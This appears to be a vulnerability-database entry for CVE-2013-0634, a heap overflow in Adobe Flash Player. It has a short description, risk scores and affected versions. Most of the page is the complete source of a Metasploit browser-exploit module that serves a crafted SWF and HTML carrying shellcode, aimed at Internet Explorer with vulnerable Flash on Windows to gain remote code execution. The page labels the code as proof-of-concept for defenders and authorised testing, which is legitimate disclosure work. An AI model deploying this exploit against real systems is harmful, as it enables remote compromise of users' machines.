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CVE-2013-0634

critical
Published 2013-02-08 · Modified 2026-04-29
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CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Adobe Flash Player before 10.3.183.51 and 11.x before 11.5.502.149 on Windows and Mac OS X, before 10.3.183.51 and 11.x before 11.2.202.262 on Linux, before 11.1.111.32 on Android 2.x and 3.x, and before 11.1.115.37 on Android 4.x allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted SWF content, as exploited in the wild in February 2013.

Predictions

Exploit likelihood
20%
Patch ETA
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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-32959 remote windows verified ruby · 4 KB
Metasploit · 2014-04-21

Adobe Flash Player - Regular Expression Heap Overflow (Metasploit)

ruby exploit Source: Exploit-DB 
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player Regular Expression Heap Overflow",
      'Description'    => %q{
        This module exploits a vulnerability found in the ActiveX component of Adobe
        Flash Player before 11.5.502.149. By supplying a specially crafted swf file
        with special regex value, it is possible to trigger an memory corruption, which
        results in remote code execution under the context of the user, as exploited in
        the wild in February 2013. This module has been tested successfully with Adobe
        Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before
        MS13-063, since it takes advantage of a predictable SharedUserData in order to
        leak ntdll and bypass ASLR.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',                   # malware sample
          'Boris "dukeBarman" Ryutin', # msf exploit
          'juan vazquez'               # ActionScript deobfuscation and cleaning
        ],
      'References'     =>
        [
          [ 'CVE', '2013-0634' ],
          [ 'OSVDB', '89936'],
          [ 'BID', '57787'],
          [ 'URL', 'http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html' ],
          [ 'URL', 'http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html' ],
          [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html' ],
          [ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/' ],
          [ 'URL', 'http://eromang.zataz.com/tag/cve-2013-0634/' ]
        ],
      'Payload'        =>
        {
          'Space' => 1024,
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f',
          'Retries'              => false
        },
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :clsid   => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
          :method  => "LoadMovie",
          :os_name => Msf::OperatingSystems::WINDOWS,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Feb 8 2013",
      'DefaultTarget'  => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
      return
    end

    print_status("Sending HTML...")
    tag = retrieve_tag(cli, request)
    profile = get_profile(tag)
    profile[:tried] = false unless profile.nil? # to allow request the swf
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)

    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    shellcode = get_payload(cli, target_info).unpack("H*")[0]

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="his=<%=shellcode%>" />
    <param name="Play" value="true" />
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-0634", "exploit.swf" )
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end

Metasploit modules

exploit_windows/browser/adobe_flash_regex_value rank 300
Adobe Flash Player Regular Expression Heap Overflow
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OS impact
linux Linux kernel Fixed 1 release
VersionStatusFixed in
- Not affected —
macos macOS Fixed 1 release
VersionStatusFixed in
- Not affected —

Application impact
VendorProductVersionsFixed
adobe adobeflash_player{"startIncluding":"10.3","endExcluding":"10.3.183.51"}10.3.183.51

References

CWEs

CWE-119

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